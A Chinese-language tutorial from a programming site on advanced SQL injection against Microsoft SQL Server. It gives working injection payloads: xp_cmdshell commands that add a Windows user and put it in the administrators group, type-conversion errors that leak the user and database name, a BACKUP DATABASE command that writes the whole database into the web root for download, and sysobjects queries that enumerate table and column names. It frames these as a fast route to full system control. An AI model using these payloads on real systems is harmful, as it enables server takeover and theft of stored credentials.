首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入攻擊全接觸:高級篇 (一) - 利用 SQL Server 系統表與擴展預存程序奪權

     編輯:關於SqlServer

第一節:利用系統表注入 SQL Server - 從資訊洩露到系統奪權

SQL Server 功能強大且緊密整合作業系統,若配置不當(如使用 sa 連線),注入者可透過系統表與擴展預存程序達到作業系統級奪權。

經典奪權鏈:xp_cmdshell 開啟系統命令大門

; EXEC master..xp_cmdshell 'net user name passWord /add' --
  • ; 分隔多條 T-SQL 陳述式。
  • -- 註解掉後續原始碼。
  • xp_cmdshell 執行 OS 命令。上例新增 Windows 帳號。
; EXEC master..xp_cmdshell 'net localgroup administrators name /add' --

將新帳號加入管理員群組。**兩分鐘內拿到系統最高權限。** 前提:資料庫連線使用 sa 權限(否則無權呼叫 xp_cmdshell)。

資訊洩露利用:透過型別轉換錯誤回顯資料

  • AND USER > 0:USER 為 NVARCHAR,與 INT 比較觸發轉換錯誤,錯誤訊息直接洩露連線用戶名(如 dbo 代表 sa)。
  • AND DB_NAME() > 0:同理洩露目前資料庫名稱。

核子武器:備份資料庫到 Web 目錄下載

; BACKUP DATABASE [dbname] TO DISK='c:\inetpub\wwwroot\1.db' --

結合 DB_NAME() 取得資料庫名、IIS 錯誤頁洩露的絕對路徑,將完整資料庫備份至 Web 根目錄,**透過 HTTP 直接下載包含所有帳號密碼的 .bak 檔**。極其隱蔽且破壞力驚人。

系統表枚舉結構:sysobjects 洩露所有表名、欄位名

SQL Server 系統表 sysobjects 記錄所有使用者物件:

  • 取得第一個使用者表名:
    AND (SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE='U' AND STATUS>0) > 0
    錯誤訊息回顯表名。後續表名可用 NOT IN 或游標邏輯遞迴獲取。
  • 取得指定表的欄位名:
    AND (SELECT TOP 1 COL_NAME(OBJECT_ID('表名'), 1) FROM SYSOBJECTS) > 0
    OBJECT_ID 取表內部 ID,COL_NAME(id, 序號) 取欄位名。序號遞增遍歷所有欄位。

對 SQL Server 內部機制的深度理解,直接決定注入成功率與速度。安全研究反哺開發能力,二者本為一體兩面。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved